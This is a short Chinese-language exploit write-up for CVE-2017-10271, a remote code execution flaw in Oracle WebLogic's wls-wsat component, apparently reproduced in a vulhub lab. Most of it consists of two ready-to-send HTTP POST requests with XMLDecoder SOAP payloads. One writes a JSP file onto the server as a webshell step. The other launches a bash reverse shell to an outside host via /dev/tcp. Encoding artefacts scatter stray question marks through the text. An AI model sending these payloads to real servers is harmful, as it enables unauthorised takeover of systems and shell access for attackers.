原理：CVE-2017-10271漏洞主要是由WebLogic Server WLS組件遠(yuǎn)程命令執(zhí)行漏洞，主要由wls-wsat.war觸發(fā)該漏洞，觸發(fā)漏洞url如下：?http://101.32.30.69:7001/wls-wsat/CoordinatorPortType? post數(shù)據(jù)包，通過構(gòu)造構(gòu)造SOAP（XML）格式的請求，在解析的過程中導(dǎo)致XMLDecoder反序列化漏洞。
環(huán)境：vulhub
影響范圍：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0。
驗(yàn)證截圖：
寫入webs hell：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
? ? <soapenv:Header>
? ? <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
? ? <java><java version="1.4.0" class="java.beans.XMLDecoder">
? ? <object class="java.io.PrintWriter">
? ? <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
? ? <void method="println"><string>
? ? <![CDATA[
<% out.print("test"); %>
? ? ]]>
? ? </string>
? ? </void>
? ? <void method="close"/>
? ? </object></java></java>
? ? </work:WorkContext>
? ? </soapenv:Header>
? ? <soapenv:Body/>
</soapenv:Envelope>
訪問
http://101.32.30.69:7001/bea_wls_internal/test.jsp
反彈shell方法：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
